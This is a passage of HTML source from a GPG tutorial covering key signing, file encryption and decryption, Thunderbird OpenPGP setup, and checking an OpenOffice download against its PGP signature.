&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sig &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; XXXXXXXXXXXXXXXX 2021-07-09 Your Name &amp;lt;your.email@example.com&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sig YYYYYYYYYYYYYYYY 2021-07-19 Other Person &amp;lt;other.persons.email@example.com&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sub rsa3072 2021-07-09 &lt;span style="color:#f92672"&gt;[&lt;/span&gt;E&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sig XXXXXXXXXXXXXXXX 2021-07-09 Your Name &amp;lt;your.email@example.com&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After you signed it, you can send back the person the signed key, in order for him/her to display the trust relationship:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --output signed.asc --export --armor key-ID
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After you enter your passphrase, the signed Public Key will be displayed. Send the other person this, so they can they can demonstrate to other people that you trust them.&lt;/p&gt;
&lt;p&gt;The other person can import the signed key, with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --import signed.asc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This will add the signing information into their GPG database.&lt;/p&gt;
&lt;h2 id="encrypt--decrypt-files-with-gpg"&gt;
Encrypt &amp;amp; Decrypt Files with GPG
&lt;a href="#encrypt--decrypt-files-with-gpg" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="with-recipients-public-key-asymmetric-cipher"&gt;
With recipient&amp;rsquo;s Public Key (asymmetric cipher)
&lt;a href="#with-recipients-public-key-asymmetric-cipher" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;h4 id="encrypt-files"&gt;
Encrypt Files
&lt;a href="#encrypt-files" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;We can encrypt files and messages, with the &lt;code&gt;--encrypt&lt;/code&gt; option, using the recipient&amp;rsquo;s Public Key. This is used if we want to send the file/message to another person or even to our selves.&lt;/p&gt;
&lt;p&gt;We can also sign the file/message to verify that it is coming from us.&lt;/p&gt;
&lt;p&gt;We can also add the &lt;code&gt;-r&lt;/code&gt; flag, to add ourselves as a second recipient in order to encrypt the file/message with our Public Key and be able to decrypt after the encryption with our own Private Key.&lt;/p&gt;
&lt;p&gt;Encrypt the file/message:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --encrypt --sign --armor -r other.persons.email@example.com -r your.email@example.com name_of_file
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;To encrypt a file only for yourself&lt;/strong&gt;, run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --encrypt --sign --armor -r your.email@example.com name_of_file
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="decrypt-files"&gt;
Decrypt Files
&lt;a href="#decrypt-files" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;To decrypt a file/message that has been encrypted with our Public Key, we can use the &lt;code&gt;--decrypt&lt;/code&gt; (or &lt;code&gt;-d&lt;/code&gt;) option and specify the file we want to decrypt. For simplicity, we don&amp;rsquo;t even have to specify the &lt;code&gt;--decrypt&lt;/code&gt; flag and simply pass the encrypted file/message to &lt;code&gt;gpg&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Decrypt the file/message:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg -d name_of_file
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Decrypt the file/message, and save it to a file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --output saved_file -d name_of_file
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="with-a-new-passphrase-symmetric-cipher"&gt;
With a New Passphrase (symmetric cipher)
&lt;a href="#with-a-new-passphrase-symmetric-cipher" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;h4 id="encrypt-files-1"&gt;
Encrypt Files
&lt;a href="#encrypt-files-1" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;We can encrypt files and messages, with the &lt;code&gt;--symmetric&lt;/code&gt; (or &lt;code&gt;-c&lt;/code&gt;) option, that does not require the use of a key pair. We use this method if we want to simply encrypt a file/message with a passphrase.&lt;/p&gt;
&lt;p&gt;Encrypt the file/message:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg -c --armor name_of_file
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and enter a passphrase.&lt;/p&gt;
&lt;p&gt;Now we will have an ASCII armored version of the encrypted file with the name:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;name_of_file.asc&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="decrypt-files-1"&gt;
Decrypt Files
&lt;a href="#decrypt-files-1" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;To decrypt a symmetric encrypted file/message, we use the &lt;code&gt;--decrypt&lt;/code&gt; (or &lt;code&gt;-d&lt;/code&gt;) option, and we just need to enter the passphrase we have given when encrypting the file.&lt;/p&gt;
&lt;p&gt;Decrypt the file/message:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg -d name_of_file.asc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This will decrypt the file/message and print it to &lt;code&gt;stdout&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If we want to save the decrypted file/message:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --output name_of_file -d name_of_file.asc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="encrypt--decrypt-emails-with-gpg"&gt;
Encrypt &amp;amp; Decrypt Emails with GPG
&lt;a href="#encrypt--decrypt-emails-with-gpg" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;We can use our GPG keys to send and receive encrypted emails. There are a lot of ways for how it can be done:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Manually copying the encrypted emails and decrypting them with the &lt;code&gt;gpg&lt;/code&gt; utility.&lt;/li&gt;
&lt;li&gt;Using the PGP utilities that the email client provides, either a webmail client or an installed client:
&lt;ul&gt;
&lt;li&gt;Webmail Clients: &lt;a href="https://protonmail.com/"&gt;ProtonMail&lt;/a&gt;, &lt;a href="https://www.mailfence.com"&gt;Mailfence&lt;/a&gt;, &lt;a href="https://www.hushmail.com/"&gt;Hushmail&lt;/a&gt;, &lt;a href="https://postale.io/"&gt;postale.io&lt;/a&gt;, &lt;a href="https://countermail.com/"&gt;CounterMail&lt;/a&gt;, &lt;a href="https://www.startmail.com/en/"&gt;StartMail&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Installed Clients: &lt;a href="https://www.thunderbird.net"&gt;Thunderbird&lt;/a&gt;, &lt;a href="http://www.mutt.org/"&gt;Mutt&lt;/a&gt;, &lt;a href="https://claws-mail.org/"&gt;Claws Mail&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Using an extension or plugin for your Webmail client:
&lt;ul&gt;
&lt;li&gt;e.g. &lt;a href="https://www.mailvelope.com/"&gt;Mailvelope&lt;/a&gt;, &lt;a href="https://flowcrypt.com/"&gt;FlowCrypt&lt;/a&gt;, &lt;a href="https://psono.com/"&gt;Psono&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The first &lt;em&gt;(1)&lt;/em&gt; method is the most simple one and we have already seen how we can encrypt and decrypt messages, but is also the most cumbersome and requires access to a terminal.&lt;/p&gt;
&lt;p&gt;The second &lt;em&gt;(2)&lt;/em&gt; method is not universal and only applies if your Web mail provider or the Email client you use has PGP encryption options. It can be the most safe option, especially for the offline Email client as there is no exposure of the Private Key to the internet, which is the case with Protonmail or other Web mail clients (although the key is of course stored encrypted with your password in their servers).&lt;/p&gt;
&lt;p&gt;The third &lt;em&gt;(3)&lt;/em&gt; method is the most user friendly and there are a lot of free extensions to choose from either for Web mail clients like Gmail and Yahoo, or for other Web mail clients.&lt;/p&gt;
&lt;h3 id="use-openpgp-with-thunderbird"&gt;
Use OpenPGP with Thunderbird
&lt;a href="#use-openpgp-with-thunderbird" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The Thunderbird Email Client supports OpenPGP directly since version 78. We will see how we can use our GPG keys to send and receive encrypted emails in Thunderbird. We suppose you already have an email account connected to the Thunderbird client.&lt;/p&gt;
&lt;h4 id="import-a-private-key-to-thunderbird"&gt;
Import a Private Key to Thunderbird
&lt;a href="#import-a-private-key-to-thunderbird" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;Open Thunderbird and under the &lt;strong&gt;Tools&lt;/strong&gt; tab, select &lt;strong&gt;OpenPGP Key Manager&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Under &lt;strong&gt;File&lt;/strong&gt;, select your &lt;strong&gt;Import Secret Key(s) From File&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Select the file where you have saved your Private Key.&lt;/li&gt;
&lt;li&gt;Unlock with your Passphrase.&lt;/li&gt;
&lt;li&gt;After receiving a &lt;strong&gt;OpenPGP keys successfully imported&lt;/strong&gt; window, make sure to check the option &lt;strong&gt;Treat this key as a Personal Key&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Go to the &lt;strong&gt;Account Settings&lt;/strong&gt; tab, and under &lt;strong&gt;End-To-End Encryption&lt;/strong&gt; select your previously imported Private Key.&lt;/li&gt;
&lt;li&gt;You can also select the option &lt;strong&gt;Add my digital signature by default&lt;/strong&gt; if you want to verify that the messages are sent by you.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="send-your-public-key-with-thunderbird"&gt;
Send your Public Key with Thunderbird
&lt;a href="#send-your-public-key-with-thunderbird" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;We can now send to another person our Public Key, so he can send us encrypted emails using our Public Key that we can decrypt with our Private Key.&lt;/p&gt;
&lt;p&gt;If you don&amp;rsquo;t have another GPG key pair or another person to test, you can follow &lt;a href="https://emailselfdefense.fsf.org/en"&gt;Step 4.A from the FSF Foundation&amp;rsquo;s instructions&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To send our Public Key, we send a non-encrypted mail with the key attached. We can do this easily from Thunderbird:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Under the &lt;strong&gt;Tools&lt;/strong&gt; tab, select &lt;strong&gt;OpenPGP Key Manager&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Right click on your key, and select &lt;strong&gt;Send Public Keys by Email&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;This will create a new draft message, as if you had just hit the &lt;strong&gt;Write&lt;/strong&gt; button, but in the attachment you will find your Public Keyfile.&lt;/li&gt;
&lt;li&gt;Select the recipient, add a subject and send the email.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now you will be able to read encrypted emails that other sent to you.&lt;/p&gt;
&lt;h4 id="import-a-public-key-to-thunderbird"&gt;
Import a Public Key to Thunderbird
&lt;a href="#import-a-public-key-to-thunderbird" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;Now that you have imported your Private Key, we need to import the other person&amp;rsquo;s Public Key in order to send him/her an encrypted email using his/her Public Key that he can decrypt with his/her Private Key.&lt;/p&gt;
&lt;p&gt;There are many ways to import a Public Key:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;From the attachment of an email.&lt;/li&gt;
&lt;li&gt;From a Keyserver.&lt;/li&gt;
&lt;li&gt;From a Keyfile.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To import a Public Key (file) to Thunderbird:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Under the &lt;strong&gt;Tools&lt;/strong&gt; tab, select &lt;strong&gt;OpenPGP Key Manager&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Under &lt;strong&gt;File&lt;/strong&gt;, select your &lt;strong&gt;Import Public Key(s) From File&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Select the file where you have saved the Public Key.&lt;/li&gt;
&lt;li&gt;After receiveing a &lt;strong&gt;OpenPGP keys successfully imported&lt;/strong&gt; window, make sure to check that you trust the key, after you check the fingerprint.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now you will be able to send encrypted emails to others.&lt;/p&gt;
&lt;h4 id="send-an-encrypted-email-with-thunderbird"&gt;
Send an Encrypted email with Thunderbird.
&lt;a href="#send-an-encrypted-email-with-thunderbird" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;If we now have another person&amp;rsquo;s Public Key and he/she has our Public Key, we start communicating securely.&lt;/p&gt;
&lt;p&gt;To write an encrypted mail:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Select the &lt;strong&gt;Write&lt;/strong&gt; option to write a mail.&lt;/li&gt;
&lt;li&gt;Select the recipient, add a subject and write something to the email.&lt;/li&gt;
&lt;li&gt;In the &lt;strong&gt;Security&lt;/strong&gt; tab, select the &lt;strong&gt;Require Encryption&lt;/strong&gt; option, and it will also automatically select to digitally sign the message and attach the Public Key.&lt;/li&gt;
&lt;li&gt;Send the message.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now only you and the other person will be able to view the messages.&lt;/p&gt;
&lt;h2 id="verify-pgp-signatures"&gt;
Verify PGP Signatures
&lt;a href="#verify-pgp-signatures" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;We can use GPG/PGP to verify signatures, either for downloaded files and documents or for programs. For this example, we will verify the &lt;a href="https://www.openoffice.org/download/"&gt;OpenOffice download&lt;/a&gt; with the provided &lt;a href=""&gt;PGP/ASC signature&lt;/a&gt; on their website.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Download the &lt;a href="https://downloads.apache.org/openoffice/KEYS"&gt;Public Key of OpenOffice&lt;/a&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ wget https://downloads.apache.org/openoffice/KEYS
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="2"&gt;
&lt;li&gt;Check the Public Key&amp;rsquo;s fingerprint to ensure that it is the correct key:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --fingerprint KEYS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pub rsa4096 2012-02-13 &lt;span style="color:#f92672"&gt;[&lt;/span&gt;SC&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; D09FB15F1A24768DDF1FA29CCFEEF31651B5FDE8
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uid Juergen Schmidt &amp;lt;jsc@apache.org&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="3"&gt;
&lt;li&gt;Import the Public Keys to your keyring:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --import KEYS
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="4"&gt;
&lt;li&gt;Download the software you want to verify, for our case we will download only the &lt;a href="https://sourceforge.net/projects/openofficeorg.mirror/files/4.1.10/binaries/en-US/Apache_OpenOffice_4.1.10_Linux_x86-64_langpack-deb_en-US.tar.gz/download"&gt;Language pack&lt;/a&gt; for our Debian system in order to minimize download times:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ wget https://sourceforge.net/projects/openofficeorg.mirror/files/4.1.10/binaries/en-US/Apache_OpenOffice_4.1.10_Linux_x86-64_langpack-deb_en-US.tar.gz/download
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ tar -xvzf download
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;en-US/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;en-US/DEBS/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;en-US/DEBS/openoffice-en-us-base_4.1.10-2_amd64.deb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;en-US/DEBS/openoffice-en-us-writer_4.1.10-2_amd64.deb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;en-US/DEBS/openoffice-en-us-help_4.1.10-2_amd64.deb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;en-US/DEBS/openoffice-en-us_4.1.10-2_amd64.deb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;en-US/DEBS/openoffice-en-us-draw_4.1.10-2_amd64.deb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;en-US/DEBS/openoffice-en-us-calc_4.1.10-2_amd64.deb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;en-US/DEBS/openoffice-brand-en-us_4.1.10-2_amd64.deb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;en-US/DEBS/openoffice-en-us-impress_4.1.10-2_amd64.deb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;en-US/DEBS/openoffice-en-us-math_4.1.10-2_amd64.deb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;en-US/DEBS/openoffice-en-us-res_4.1.10-2_amd64.deb
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="5"&gt;
&lt;li&gt;Download the PGP signature file of the software you want to verify, for our case we will download the &lt;a href="https://downloads.apache.org/openoffice/4.1.10/binaries/en-US/Apache_OpenOffice_4.1.10_Linux_x86-64_langpack-deb_en-US.tar.gz.asc"&gt;OpenOffice language pack signature&lt;/a&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ wget https://downloads.apache.org/openoffice/4.1.10/binaries/en-US/Apache_OpenOffice_4.1.10_Linux_x86-64_langpack-deb_en-US.tar.gz.asc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;See the signature:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ cat Apache_OpenOffice_4.1.10_Linux_x86-64_langpack-deb_en-US.tar.gz.asc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-----BEGIN PGP SIGNATURE-----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;iQIzBAABCgAdFiEEqT1i7MPI6hLbIg7JNOp25nkUhagFAmB+tdEACgkQNOp25nkU
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hagy/hAAlRWtI8d4LumQ8DcuUL/r5Ytol8dpuwzWqwLGy9koXEKiEDMO7HoQbqDp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;6eGM0UoFwV6snYtUlH2Bq4dUARJeb2oiTeOBgcmr/B2OJosJZYzkXPS4ISbso+Am
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;W/EmqQ1txOPjc0eBr7ciDqSTlh26W/V7oeBDJBviqaWlWkFvTnz0U4qWX6w2nCKJ
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;XW87D2q9DTDHY7YXEFSt6M3rj1gaFlXczxNU/btd7nh44yIIdht4T76zIOvUheWJ
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;17uwv7H5+yLMX1qL45xmpuJTKUeM+7RUIjOfSQOqUqUauacJMmydPBUxQMXpFmue
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;xQqo8F9XNMMsfIQB2RUc2qb+H76DSe75fd0kGCMh+5Y/hn/Ryb1jAl6IHwVVXX2c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;eNsp0kApYnTy3nMSMoJmBvbrY+R3+nPr2l4/bFJb0JEG6i8VnQKiF07Zz6x6IEbb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;yqWALiSFJJlRCBoxEJdHkODkgHtOLA6sWjnJMJ28BVy5kpgDjGVPJ7SIbUk758BS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;YszfT33p6z65HorH39IxNLe561p+uJJL8xgA5LQWwKS3H4xUHXIukSTWHX3IM9tQ
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cwtloNJpWZTE/cxhLwJjOa+Yz/t0AOe9tTjI2I81cUv0VC4Qf1HCc9EkRSTwzsyz
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;2PQytAcIyKu6q5vBcTK0Tc/tFSWRp3ovX3XcLGNZfTJsFH2CvGs&lt;span style="color:#f92672"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;UlRG
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-----END PGP SIGNATURE-----
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="6"&gt;
&lt;li&gt;Use the Public Key to verify the PGP signature. If the signature is correct, then the software has not been modified.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In order to verify all the downloaded files, we have to either:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cd&lt;/code&gt; in the extracted directory and run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ cd en-US
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --verify ../Apache_OpenOffice_4.1.10_Linux_x86-64_langpack-deb_en-US.tar.gz.asc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg: assuming signed data in &lt;span style="color:#e6db74"&gt;&amp;#39;../Apache_OpenOffice_4.1.10_Linux_x86-64_langpack-deb_en-US.tar.gz&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg: Signature made Τρι &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt; Απρ &lt;span style="color:#ae81ff"&gt;2021&lt;/span&gt; 02:06:57 μμ EEST
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg: using RSA key A93D62ECC3C8EA12DB220EC934EA76E6791485A8
